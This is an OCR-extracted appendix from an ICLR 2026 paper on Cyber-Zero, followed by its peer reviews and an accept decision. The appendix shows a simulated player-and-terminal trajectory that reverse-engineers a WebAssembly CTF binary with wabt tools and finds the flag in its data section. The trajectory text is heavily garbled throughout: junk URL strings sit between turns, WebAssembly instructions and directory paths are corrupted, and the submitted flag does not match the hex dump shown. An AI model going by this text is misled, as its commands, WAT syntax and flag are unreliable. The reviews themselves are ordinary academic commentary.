see we have an index. wasm file size 3274 bytes. Since this a webAssembly file, 1 should first check its content tc understand what we re dealing with. Let me use the file command to confirm the file type.
file index... wasm
Terminal Model
http:://ceffiiineerrr///xxxxyp/
index wasm: WebAsseably (wasm) binary module version 0x1 (MVP)
(Open file: n/a)
(Current directory: LiM LLM_ Lan Nasmbaby)
(Interactive session: n/a) bash-$
Player Model
attp::///dfttiime.rrrrwwttttppp
Indeed, it's a WebAssembly binary module. Since MeioAssembly files are binary format, I need to analyze it properly. There are several tools that can help decompile WebAssembly files. Given this is named "Wasmbaby", it's likely simpler challenge that might not require complex reverse engi neering....
disassemble
Let first try install "wabt" (WebAssembly Binary Toolkit) which includes tools like wasm2wat to convert WebAssembly binary format to text format.
apt-get install -y wabt
Terminal Model
https::/eefffimm..rrg/rrrttttt 62966
Reading package lists... Done
Building dependency tree... Done Reading state information... Done
The following NEW packages will be installed: wabt upgraded, newly installed, to remove and 0 not upgraded. Need to get 1,246 kB of archives. After this operation, 4,696 kB of additional di space will be used.
Get:1 http://archive ubuntu. com/ubuntu focal/universe amd64 wabt amd64 1.0.13-1 24,246 246 kB]
Fetched 1,246 kB in 1s 21, kB/s)
Solecting previously unselected package wabt.
115

---

open index.war wat Published as a conference paper at ICLR 2026
(Reading catabase 74831 files and directories currently installed.)
Preparing to unpack 1
Unpacking wabt (1.0.13-1)
Setting up wabt (1.0.13-1) (Open file: n/a) (Current directory: / home CTF_ _aT__aaabbaseeee Wasmbaby) (Interactive session: n/a) bash-$
Player Model
http:://ccfffiimm.orrrrrrieeee
Now that have wabt installed, let's convert the WebAssembly binary to its text representation (WAT format) so we can analyze it better. I'll save the output to a file so we can examine it properly.
wasm2wat index. wasm index.wat
Terminal Model
http:://eeffiine.orrrwwttttg/ppp
(Open file: n/a)
(Current directory: home LLM_CIF _LM_CITFDaaabbae Masmbaby) (Interactive session: n/a) bash-$
Player Model
http:://ddff..iee.rrr//rrttttttp
Let me examine the converted WAT file to understand the RebAssembly code structure and functionality.
Terminal Model
https://cefftiim..rrrrwwtttppppp
[File: index. wat
1: (module
2: (type (;0;) (Sunc (param 132) (result 1321)
3: (type (;1;) (func (param 132 132) (result )
4: (type (;2;) (Sunc (result 132)
5: (type (:3;) (func))
6: (import "env" "memoryBase" (glcbal (;0;) 132))
7: (import "env" "memory" (memory (f0;) 256)
8: (import "env" "table" (table (;0;) 0 funcref))
9: (impert "env" "tableBase" (global (;1;) 132))
10:
(func (;0;) (type 3)
11:
co2.const 0
12:
const 1024
13:
i32.store
14:
i32sc 4
15:
i32.const 1025
16:
132.store
17:
consc 8
18:
132.const 1026
19:
132.store
116

---

Published as a conference paper at ICLR 2026
20:
132.cona 12
21:
c32sc 1027
22:
132.store
23:
132.const 16
24:
132.const 1028
25:
i32.store
26:
consc
20
27:
co2.c 1029
28:
132.store
29:
co2.c
30:
const 1030
31:
i32.store
32:
i32.const 28
33:
io2.const 1031
34:
132.store
35:
consc 32
36:
132.c 1032
37:
132.store
38:
132.const 36
39:
132.const 1033
40:
132.store
41:
i32.const 40
42:
i32.const 1034
43:
132.store
44:
c32sc 44
45:
c32.c 1035
46:
i32.store
47:
const 48
48:
consc 1036
49:
132.store
50:
c32.c 52
51:
i32.const 1037
52:
132.store
53:
132.const 56
54:
132.c 1038
55: 132.store
56:
io2.const 60
57:
io2.const 1039
58: 132.store
59: 132.const 64
60: 132.const 1040
61: i32.store
62:
consc 68
63:
const 1041
64: 132.store
65:
co2.c 72
66:
i32.const 1042
67:
it2.store
68:
consc 76
69:
c32.c 1043
70:
132.store
71:
consc 80
72:
const 1044
73:
i32.store
74:
c32. 84
75:
132.const 1045
76:
132.store
77:
const 88
78:
c32.const 1046
79:
132.store
80:
co2sc 92
81:
132. 1047
82:
st2.store
117

---

Published as a conference paper at ICLR 2026
83:
132. const
84:
c32sc 1048
85:
132.store
86:
132.const 100
87:
132.const 1049
88: i32.store
89: c32.c
104
90: 132.const 1050
91: 132.store
92:
132.c
93:
co2.c 1051
94:
132.store
95:
c32.const
112
96: i32.const 1052
97:
132.store
98:
consc 116
99:
132.const 1053
100:
132.
(296 more lines)
(Open file: (ndex.wat)
(Current directory: h_w__om____________________ LWM_CII_Daaaaaaae_e_tt b
(Interactive session: n/a) bash-
Player Model
https: httpp://defft.nee.orr///rtttte/p
Looking at the WAT file, I can see it's storing sequence
values at specific memory locations. Rach line follows
pattern of storing values at incrementing memory addresses (0,
4, 8, etc.) with corresponding va values from memory locations
starting at 1024. This looks like it might constructing data in memory.
Let me scroll down to see more of the file since there might be important functions or data after this initialization part.
scroll_down
Terminal Model
https://ccettimm.or//rrrrte/e//
[File:
index. wat (continued from 1ine 101) (func (11;) (type 0) (param 132) (result i32)
101:
102:
(local 132)
103:
block i; label = 81
104:
block label 02
105:
block ": label 03
106:
block 1 label 04
107:
block ;; label = 05
108:
block label 06
109:
block ;; label 07
110:
block ;; label
111:
block "; label B9
112:
block label 010
113:
block ": label 811
114:
block ;: label 812
115:
block " label 813
116:
black 1; label 814
117:
block label 015
118:
block ;; label 016
118

---

Published as a conference paper at ICLR 2026
119:
block "; label @17 block "; label 818
120:
121:
block it label 819
122:
block 1 label 820 block " label
123:
821
124:
block 17 label =
022
125:
block label
126:
block i7
label 024
127:
black
1abe1 025
128:
block 1
label = (26
129:
block
i; label 027
130:
block
4 i7 label 028
131:
block 1: label 029
132:
block i: label e30
133:
block label = e31
134:
local .get
135:
c32.c 31
136:
132. _t__
137:
4 br_if (;031;)
138:
local. get
139:
i32.const
140:
132.sh1
141:
132.1oad
142:
local.ter
143:
132.const 1024
144:
i32.sub
145:
local. get
146:
4 consc 31
147:
132.eg
148:
br (#01;)
149:
drop
150:
local get (196 more lines)
(Open file: index.wat)
(Current directory: / home LLM_CTF DTM_aaaa_Databaseee.. Wasmbaby)
119

---

Published as a conference paper at ICLR 2026
(Interactive session: n/a) bash-$
Player Model
Interesting findings in the code:
1. The first function (funa 0) seems to be initializing array or
memory block with values starting from address 1024
2. The second function (fune 1) appears to be some kind checking or validation function that:
Takes parameter and checks if it's greater than 31
(suggesting a 32-element array)
Does memory loading and compariscn with value 1024
Has multiple nested blocks, suggesting complex control flow
Given that this is WebAssembly challenge, and I see these memory operations and comparisons, this might be checking for specific input sequence or password. down to see if there are more functions or data secticns.
continue scrolling
scroll_down
Terminal Model
[File:
index.war wat (cont inued from line 151) ]
151:
1025
152:
4 sub
153:
local.
154:
132 cons.
155:
132.eq
156:
br_if (+02))
157:
drop
158:
local.
159:
4 132.cons 1025
160:
sub
161:
local.
162:
132. 29
163:
132.eg
164:
br_if 28 (103;)
165:
drop
166:
local get
167:
132. 1027
120

---

Published as a conference paper at ICLR 2026
168:
_ sub
169:
local get
170:
132. consc
171:
i32.eg
172:
br_if (+04;)
173:
drop
174:
local get
175:
132.const 1028
176:
s3b
177:
4 local . get
178:
27
179:
132.eg
180:
br 26 (;05;)
181:
drop
182:
local.get
183:
132. 1029
184:
sub
185:
local get
186:
132. const
187:
132.eg
188:
br_if (+06;)
189:
drop
190:
local. get
191:
132. 1030
192:
132.sub
193:
local, . get
194:
132. 25
195:
132.eg
196:
if 24 (,07,)
197:
drop
198:
local.get
121

---

Published as a conference paper at ICLR 2026
199:
c3nsc 1031
200:
sub (96 more lines)
(Open file: (nde
(Current directory: / home Batt___ttaase__aaaaiiieee
(Interactive session: n/a) bash-$
Player Model
pattern forming here! This code is doing sequential checks against values stored at increasing memory addresses (1024, 1025, 1026, etc.) and comparing them with indices in descending order (31, 30, 29, etc.). This strengly suggests that there's encoced string flag stored in these memory locaticns.
The structure shows:
1. Values are stored at memory locations starting from 1024
2. There's checking function that verifies these values against some input
3. The checking goes through positiens (0-31)
Let me continuc scrolling to see if we can find any data sections other functions that might reveal what these values represent.
scroll_down
Terminal Model
https:///ddffiine..rrr/wwvtgppp
[File: index. (continued from line 201) ]
201:
local. get 0
202:
1.32.const
203:
132.eg
204:
br if (:08;)
205:
drop
206:
local get
207:
132. 1032
208:
s3b
209:
local . get
210:
132.cons 23
211:
132.es
212:
br_ if 22 (109;)
213:
drop
122

---

Published as a conference paper at ICLR 2026
214:
4 local.ges
215:
132.cons 1033
216:
132 subb
217:
local. get
218:
132.const
219:
i3
220:
br_if (+010;)
221:
drop
222:
local get
223:
4 const 1034
224:
sub
225:
local get
226:
132.cone 21
227:
132.eg
228:
br if 20 (;011;)
229:
drop
230:
4 local . get
231:
const 1035
232:
i32.sub
233:
local.
234:
const
235:
132.eq
236:
br if (;112))
237:
drop
238:
local. get
239:
const 1036
240:
132.sub
241:
local get
242:
const 19
243:
132.eg
244:
br 18 (;013;)
123

---

Published as a conference paper at ICLR 2026
245:
drop
246:
local. get
247:
con.c 1037
248:
sub
249:
local. get
250:
133..onst 18
(46 more lines)
(Open file: index.wat)
(Current directory: / home CTE Database Nasmbaby)
LiM_CTF_Daaaaasee
(Interactive session: n/a) bash-$
Player Model
http:://ccffi.nee.rrr/wvttte///
The pattern continues, and now I'm certain this is checking some kind of array or string. Looking at the memory operaticns:
1. Values loaded from memory locations 1024-1055 values total)
2. Each value is compared with the index in reverse order (31 down to 0)
3. This suggests the flag might be stored in these memory Locations
Let me try to get to the end of the file to see if there are any data sect ion that might contain the actual values being stored.
scroll_down
Terminal Model
[File: index.wat (cont i inud from line 251)]
251:
132.eg
252:
br_if 17 (;014;)
253:
drop
254:
local get
255:
132. 1038
256:
132.suk
257:
local .et 0
258:
132
const
259:
132.eg
260:
br_if if 16 (;015;)
124

---

Published as a conference paper at ICLR 2026
261:
drop
262:
local. get
263:
132.const 1039
264:
sub
265:
local . get
266:
const 16
267:
132.eg
268:
br if 15 (;016;)
269:
drop
270:
4 local ..et get
271:
const 1040
272:
s32.sub
273:
local. get 0
274:
const
275:
i32.eq
276:
br if (1017;)
277:
4 drop
278:
local. get
279:
132. const 1041
280:
i32.sub
281:
local get
282:
132.cons. 14
283:
132.eg
284:
br if 13 (;018;)
285:
drop
286:
local. get
287:
132. 1042
288:
132.sus
289:
local. get 0
290:
132.cons.
291:
i32.eq
125

---

Published as a conference paper at ICLR 2026
292:
br_if 12 (,019;)
293:
drop
294:
local. get
295:
1043
296:
s3b
297:
local 0
298:
132.const
299:
i32.eq
300:
br_if 11 (;020;)
(96 more lines)
(Open file: index.war wat)
(Current directory: /_ BBB____iM______aaaaaa__ b (Interactive session: n/a) bash-
Player Model
The pattern continues and need find the data sectien or any hints about what values are being stored. let me continue scrolling to reach the end of the file.
scroll_down
Terminal Model
https://ctfftmme.oo http://fiiiii.rr///iriit//////aa
[File: index. (cont inued from line 301)
301:
drop
302:
local.
303:
132 const 1044
304:
4 132.
305:
local get
306:
132. const
307:
132.eg
308:
br (;021;)
309:
drop
310:
local.get
311:
132. 1045
312:
132. sub
126

---

Published as a conference paper at ICLR 2026
313:
314: local.get
10
315:
i3
316:
br_if if 9 (1 (2222))
317:
drop
318:
local
319:
132. const 1046
320:
sub
321
local get
322:
4 132. const
323:
i3
324:
br_if (;023;)
325:
drop
326:
local, get
327:
132. 1047
328:
132 sub
329:
4 local . get
330:
132. const
331:
132.eg
332:
br_if 7 (;024;)
333:
drop
334:
local. get
335:
432.cont 1048
336:
s3b
337:
local. get
338:
conat
339:
132.eg
340:
br (;025;)
341:
drop
342:
local . get
343:
1049
127

---

Published as a conference paper at ICLR 2026
344:
sub
345:
local. get
346:
347:
i3
348:
br_if (;026;)
349:
drop
350:
local. get (46 more lines)
(Open file: index. wat)
(Current directory: / home CTF_ CTF_Database Nasmbaby)
(Interactive session: n/a) bash-$
Player Model
https://efffiinee.orrrvrtttppppp
Let me continue scrolling to find any data sections or the end the file. We're re're getting close to the end of this checking function and there might be important information ion after it.
scroll down
Terminal Model
https://ccttiine..rggwwtttetp
[File: Index.wat (continued from line 351)]
351:
con.c 1050
352:
s3b
353:
local get
354: 132.const 5
355:
e32.eg
356:
4 br_if 4 (;027;)
357:
drop
358:
local.
359:
132.const 1051
360:
132.
361:
local .et 0
362:
132 const
363:
132.eg
364:
br_if if (; (2;;;;
128

---

Published as a conference paper at ICLR 2026
365:
drop
366:
local get
367:
132. const 1052
368:
132.
369:
local . get
370: 132.const
371:
132.eg
372:
br if 2 (; (;02);)
373:
drop
374:
4 local ..ee get
375:
const 1053
376:
s3b
377:
local. get 0
378:
const
379:
i32.eq
380:
br if (;030;)
381:
drop
382:
local. get
383:
132. 1054
384:
132.sub
385:
local get
386:
132. const
387:
132 .g
388:
br if 0 (;031;)
389:
drop
390:
local. get
391:
132. 1055
392:
s3b.sub
393:
return
394:
end
395:
129

---

Published as a conference paper at ICLR 2026
396:
return
397:
end
398:
132.const
399:
return
400:
end
(96 more lines)
(Open file: index. wat)
(Current directory: / "_home______ [IIM_[TF_Databasee Wasmbbby)
(Interactive session: n/a) bash-$
Player Model
httpp:://ccfiiin..orrr//rttttztp
After analyzing the code further, can see this is validation function that checks input values against sequence of expectea values. The pattern is:
1. Values are stored in memory from address 1024 to 1055 (32 values)
2. There's function that compares these values in reverse order
(31 to 0)
3. any comparison fails, it returns (indicating failure)
Since have WebAssembly file and it's checking specific values, try to extract the values that are being stored in memory. The best way would be to use wasm-objaump to see the data section.
wasm-objdump index. wasm
Terminal Model
index. wasm:
file format wasm 0x1
Contents of section Data:
0420:
7569 7563 7466 7677 656c 636F 6d65 5f74
(lluct(weeccmee)
0430:
6155 7761 736d 5f65 3363 3362 6464 317d
x_eem_e333bddl)
(Open file: index. wat)
(Current directory: / LWMMMMLW___aaaaae___aaaaaaaa_ae
Wasbbbby)
(Interactive session: n/a) bash-$
Player Model
http:::/dceffiime.oor//rrttttppp
Aha! I found the #1ag directly in the data section of the webAsserbly binary! This makes perfect sense because:
1. The code we saw was loading values from memory starting at offset 1024 (0x400 in hex)
2. The data section shows content starting at 0x420 which centains the flag
130

---

Published as a conference paper at ICLR 2026
3. The values being compared were actually ASCII characters of the flag string
The flag appears to be in plain text in the data section. Let me submit the flag found.
submit 'uiuctf ceallcooe_ttsaseeeeeee 3
131


Reviews:
[{"review_id": "n0a6JXaqCG", "reviewer": "Reviewer_B84o", "summary": "This paper introduces Cyber-Zero, a framework for fine-tuning LLMs to perform better at CTFs. Specifically, they collect a large dataset of CTF writeups, synthetically generate trajectories, and then observe increased performance across three CTF datasets: InterCode, NYU, and Cybench.", "questions": "1. How much did data generation cost? \n2. What was the total cost of fine-tuning these models on your hardware? \n3. Why did you choose to focus strictly on CTFs for this paper?", "limitations": "", "rating": 2, "confidence": 4, "soundness": 3, "presentation": 3, "contribution": 1, "strengths": "The paper is well-organized and clear. The authors provide a helpful amount of detail and insight into their proposed method which cleverly uses a dual-LLM system to simulate agentic trajectories from previous CTF writeups that don't have accompanying runtime configurations.", "weaknesses": "This paper exclusively focuses on improving SOTA results of open source models on CTF benchmarks. The authors claim that Cyber Zero is a framework for training cybersecurity agents, when instead it is a framework for training CTF agents, just as ENIGMA is an agent scaffold strictly designed for CTFs and not for real world cybersecurity tasks. As a result, the usefulness of Cyber Zero is unproven. If the ENIGMA-scaffolded agents trained using Cyber Zero obtained state of the art results on more general benchmarks like MHBench, BountyBench, CVEBench, or XBOW's validation set, their claim of training cybersecurity agents would be more grounded. \n\nFurther, while model performance using Cyber Zero does improve upon the baseline of open source models, this method does not reach absolute state-of-the-art. I am unconvinced that the ends justify the means for anyone who might want to deploy such a system, particularly because it is only \"proven\" on CTFs. \n\nThe authors do not provide sufficient justification that their two-player synthetic generation pipeline is strictly required to achieve such results. For example, would single-shot trajectories yield similar results? And, relatedly, I am not convinced that simulating interactions in the fashion involved in this paper is a long-term worthwhile endeavor. Cybersecurity environments are no different from software engineering environments, and it is likelier that in the future environments with working runtimes that can scale will be ever-present. \n\nFinally, the authors make claims that their method is much more cost-effective than using API-based models like Claude Sonnet 3.7 that are able to achieve state of the art results, and yet they do not include fine-tuning or data generation cost in this analysis.", "quality": null, "clarity": null, "significance": null, "originality": null, "strengths_and_weaknesses": "", "was_revised": false, "final_justification": "", "rebuttal": "", "claims_and_evidence": "", "methods_and_evaluation_criteria": "", "theoretical_claims": "", "experimental_designs_or_analyses": "", "relation_to_broader_scientific_literature": "", "essential_references_not_discussed": "", "other_strengths_and_weaknesses": "", "other_comments_or_suggestions": "", "questions_for_authors": "", "summary_of_paper": "", "summary_of_recommendation": "", "technical_quality": "", "clarity_of_presentation": "", "potential_impact": "", "robotics_focus": "", "quality_of_limitations": "", "questions_for_rebuttal": "", "reasons_to_accept": "", "reasons_to_reject": "", "questions_to_authors": "", "extra_scores": {}}, {"review_id": "n9HMiLAmAz", "reviewer": "Reviewer_1n45", "summary": "This paper presents Cyber-Zero, a novel training data generation method that uses persona-based LLMs to produce realistic multi-turn trajectories of CTF task solving from human writeups without involving runtimes or actually executing commands. Cyber-Zero performs supervised  finetuning of open-source Qwen models and obtains noticeable percentage improvement, demonstrating that the generated trajectories are useful to improve cybersecurity performance of LLMs.", "questions": "- Table 1: It seems unnecessary to compare and contrast CVE-Bench, NYU CTF Bench, Cybench with Cyber-Zero as the former are benchmarks to evaluate LLM agents on cybersecurity tasks, while the later is a dataset for fine-tuning\n- While Figure 2 gives an example of how synthetic trajectories are generated, some more details will be helpful to clarify the entire picture\n\t- How and when does the terminal model decide to provide hints to the player model?\n\t- How does the terminal model decide what hints to give?\n\t- If there is malformed, hallucinated, or unstructured outputs by either models, how is it handled?\n- Line 144: provide text links of \"CTFTime\" and \"CTF Archives\" as footnotes instead of linking in the PDF\n- Line 151: How does the DeepSeek model obtain any data that is missing from the CTF writeups, such as file contents?\n- Line 247: Please provide details of the binary filter", "limitations": "", "rating": 6, "confidence": 5, "soundness": 3, "presentation": 3, "contribution": 4, "strengths": "- The runtime-free framework to synthesize multi-turn trajectories from CTF writeups is an impactful technical contribution\n- The paper provides comprehensive evaluation of multiple commercial and open-source LLMs on CTF benchmarks, and how their fine-tuning improves performance. Specifically, the result of SWE-Agent-LM not generalizing to CTF tasks is interesting\n- The rectification of problematic challenges of existing CTF benchmarks is appreciated", "weaknesses": "- Aspects of the main contribution of synthesizing multi-turn trajectories need to be elaborated, such as how and when are hints provided. Please see \"Questions\" for specifics\n- The paper lacks evaluation of whether this finetuning method has trained an LLM that overfits to a specific agentic format like EnIGMA. It raises pertinent questions about how the trained LLM would perform with a different agentic framework that is also targeted towards CTF tasks.\n- Some aggregate statistics should be provided for the CTF writeups collected from CTFtime, to understand the composition of the finetuning data\n- The contribution of EnIGMA+ seems insignificant and superfluous as it is not adequately discussed in the text, and it seems like a simple implementation change of deduplicating the docker port numbers", "quality": null, "clarity": null, "significance": null, "originality": null, "strengths_and_weaknesses": "", "was_revised": false, "final_justification": "", "rebuttal": "", "claims_and_evidence": "", "methods_and_evaluation_criteria": "", "theoretical_claims": "", "experimental_designs_or_analyses": "", "relation_to_broader_scientific_literature": "", "essential_references_not_discussed": "", "other_strengths_and_weaknesses": "", "other_comments_or_suggestions": "", "questions_for_authors": "", "summary_of_paper": "", "summary_of_recommendation": "", "technical_quality": "", "clarity_of_presentation": "", "potential_impact": "", "robotics_focus": "", "quality_of_limitations": "", "questions_for_rebuttal": "", "reasons_to_accept": "", "reasons_to_reject": "", "questions_to_authors": "", "extra_scores": {}}, {"review_id": "kc8B1lXkBh", "reviewer": "Reviewer_u3TU", "summary": "This paper presents a novel approach of training LMs to be better Cybersecurity agents based on synthetic training trajectories. These training trajectories are generated using persona-driven LMs simulation without a real execution environment, i.e., one LM/agents impersonates the execution environment and simulates execution outputs, another LM/agent impersonates the agent/player. \n\nExperiments are performed based on the Qwen family, showing large gains on 8B, 14B, and 32B models. \nAnalysis parts look at scaling with number of training trajectories and multiple rollouts (best@k).", "questions": "What exact steps were taken to avoid contamination? The new dataset spans more than 1k challenges. The paper only says \"manually removed 47 overlapping challenges\", but doesn't go into details how these were identified. Since this is a crucial point for the validity of the results, some additional details or studies would be great to see (e.g., looking for overlaps in flag strings, or specific n-grams etc.). \n\nPresentational things I noticed/don't understand\n\n* Fig 2: I am still confused by the arrows in the upper part of the figure. There's two personas, so what's the \"LM\" doing in the middle?  Or does this mean that the CTF challenge text is created based on the writeup with the help of the LM?", "limitations": "", "rating": 8, "confidence": 4, "soundness": 3, "presentation": 3, "contribution": 3, "strengths": "Core contribution:\n\n* Good motivation for why this work is important (scarcity of high-quality training data for cybersec applications, because execution environments are harder to obtain). \n* Very clearly data synthesis methodology which seems to be original. The data synthesis strategy seems to be very easy and applicable.\n* The training dataset itself will also be a good asset and seems to be larger than previously available datasets. Clear demonstration of effectiveness of method, with large gains over the baseline models.\n* Good analysis sections, looking at pass@k and also at scaling with number of training trajectories \n* Very smooth read.\n\nAdditional contributions:\n  \n* EnIGMA+ agent scaffolding improvements show good engineering and will help others use the scaffold. \n* Identification of broken benchmark instances also good contribution.", "weaknesses": "Minor comment:\n\nThe abstract states \"Our best model, CYBER-ZERO-32B, [matches] the capabilities of proprietary systems like DeepSeek-V3-0324 and Claude-3.5-Sonnet\", this seems to be an overstatement if one considers Fig 1 or Fig 3.", "quality": null, "clarity": null, "significance": null, "originality": null, "strengths_and_weaknesses": "", "was_revised": false, "final_justification": "", "rebuttal": "", "claims_and_evidence": "", "methods_and_evaluation_criteria": "", "theoretical_claims": "", "experimental_designs_or_analyses": "", "relation_to_broader_scientific_literature": "", "essential_references_not_discussed": "", "other_strengths_and_weaknesses": "", "other_comments_or_suggestions": "", "questions_for_authors": "", "summary_of_paper": "", "summary_of_recommendation": "", "technical_quality": "", "clarity_of_presentation": "", "potential_impact": "", "robotics_focus": "", "quality_of_limitations": "", "questions_for_rebuttal": "", "reasons_to_accept": "", "reasons_to_reject": "", "questions_to_authors": "", "extra_scores": {}}, {"review_id": "oC5VTSKYmC", "reviewer": "Reviewer_3STn", "summary": "*Disclosure: LLM is used for an initial draft of this review, but significant human effort is made to reflect the human reviewer's understanding and opinion of the paper.*\n\nThis paper addresses a current bottleneck in training large language model (LLM) agents for cybersecurity: the scarcity of high-quality, agentic training data. The authors note that unlike software engineering (SWE) where ample executable runtime environments are available to generate trajectories (e.g., from GitHub issues), cybersecurity environments are often ephemeral, restricted, or unavailable. This data scarcity has led to a significant performance gap between proprietary models and open-weight models.\n\nTo solve this, the paper introduces CYBER-ZERO, a novel and practical framework for synthesizing high-quality agent trajectories without needing an executable runtime. The core idea is to leverage publicly available Capture The Flag (CTF) writeups and simulate runtime environment there upon with a LLM. Specifically, CYBER-ZERO uses a \"persona-driven dual-LLM\" simulation to reverse-engineer the runtime behavior described in these writeups:\n1. A \"CTF Player\" LLM (which does not see the solution) attempts to solve the challenge from scratch.\n2. A \"Bash Terminal\" LLM (which does see the writeup and flag) acts as a \"weak oracle,\" simulating realistic terminal outputs and providing minimal hints when the Player model gets stuck.\n\nThe result is a large-scale dataset (over 9,400 trajectories) that captures realistic, long-horizon interactions, including debugging and exploration. The authors use this dataset to fine-tune open-weight LLMs.\n\nModels trained with CYBER-ZERO show significant performance gains (up to 13.1% absolute improvement) on three prominent CTF benchmarks. The best-trained open model, CYBER-ZERO-32B, achieves new state-of-the-art performance among open-weight models, matching more advanced models like Claude-3.5-Sonnet and DeepSeek-V3-0324.", "questions": "- Is the player LLM given the content of the writeup? The main body seems to suggest that it is not provided to the LLM, but the prompt provided in appendix B.2 mentioned the use of writeup.\n- The performance of DeepSeek-V3-0324 on NYU CTF seems low compared to closed-weight systems. Curious if you have explanation on that.", "limitations": "", "rating": 8, "confidence": 3, "soundness": 3, "presentation": 4, "contribution": 3, "strengths": "- The paper tackles a well-defined, significant, and difficult problem: the data-scarcity bottleneck for training open-source cybersecurity agents. The proposed runtime-free framework, CYBER-ZERO, is a highly novel and pragmatic solution that effectively \"upcycles\" existing natural-language writeups into valuable, structured training data.\n- The presented results are strong and convincing. The performance gains are clear and substantial across multiple models and benchmarks. The results model match the performance of top proprietary models while being far more cost-effective. Throughout ablations are also presented.\n- The writing is clear and engaging.", "weaknesses": "- The quality of the generated traces depend greatly on the simulator LLM: it may need to, for example, simulate decompilation results and kernel exploits. Simulating these itself requires significant cybersecurity-related capabilities (not necessarily on the attack side, though), especially when the traces deviate from the writeups. While the shown experiment results are convincing, this may limit the upper bound of the method, as inaccurate traces may be less helpful for training.\n- The authors state the hint mechanism is crucial for data collection, which may lead to the generated trajectories being guided by the writeups rather than authentic, self-driven exploration. This may limit the result LLMs' capability on discovering truly novel exploits.", "quality": null, "clarity": null, "significance": null, "originality": null, "strengths_and_weaknesses": "", "was_revised": false, "final_justification": "", "rebuttal": "", "claims_and_evidence": "", "methods_and_evaluation_criteria": "", "theoretical_claims": "", "experimental_designs_or_analyses": "", "relation_to_broader_scientific_literature": "", "essential_references_not_discussed": "", "other_strengths_and_weaknesses": "", "other_comments_or_suggestions": "", "questions_for_authors": "", "summary_of_paper": "", "summary_of_recommendation": "", "technical_quality": "", "clarity_of_presentation": "", "potential_impact": "", "robotics_focus": "", "quality_of_limitations": "", "questions_for_rebuttal": "", "reasons_to_accept": "", "reasons_to_reject": "", "questions_to_authors": "", "extra_scores": {}}]

Author rebuttal:

Decision: Accept (Poster)